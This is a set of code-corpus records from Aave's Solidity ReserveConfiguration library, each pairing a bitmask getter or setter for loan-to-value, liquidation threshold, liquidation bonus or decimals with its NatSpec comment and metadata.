function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV); self.data = (self.data & LTV_MASK) | ltv; }
/** * @dev Sets the Loan to Value of the reserve * @param self The reserve configuration * @param ltv the new ltv **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2210, 2412 ] }
22,693
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
getLtv
function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return self.data & ~LTV_MASK; }
/** * @dev Gets the Loan to Value of the reserve * @param self The reserve configuration * @return The loan to value **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2549, 2686 ] }
22,694
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
setLiquidationThreshold
function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold) internal pure { require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD); self.data = (self.data & LIQUIDATION_THRESHOLD_MASK) | (threshold << LIQUIDATION_THRESHOLD_START_BIT...
/** * @dev Sets the liquidation threshold of the reserve * @param self The reserve configuration * @param threshold The new liquidation threshold **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2852, 3203 ] }
22,695
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
getLiquidationThreshold
function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION; }
/** * @dev Gets the liquidation threshold of the reserve * @param self The reserve configuration * @return The liquidation threshold **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 3356, 3588 ] }
22,696
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
setLiquidationBonus
function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus) internal pure { require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS); self.data = (self.data & LIQUIDATION_BONUS_MASK) | (bonus << LIQUIDATION_BONUS_START_BIT_POSITION); }
/** * @dev Sets the liquidation bonus of the reserve * @param self The reserve configuration * @param bonus The new liquidation bonus **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 3742, 4051 ] }
22,697
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
getLiquidationBonus
function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION; }
/** * @dev Gets the liquidation bonus of the reserve * @param self The reserve configuration * @return The liquidation bonus **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 4196, 4416 ] }
22,698
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
setDecimals
function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals) internal pure { require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS); self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION); }
/** * @dev Sets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @param decimals The decimals **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 4575, 4853 ] }
22,699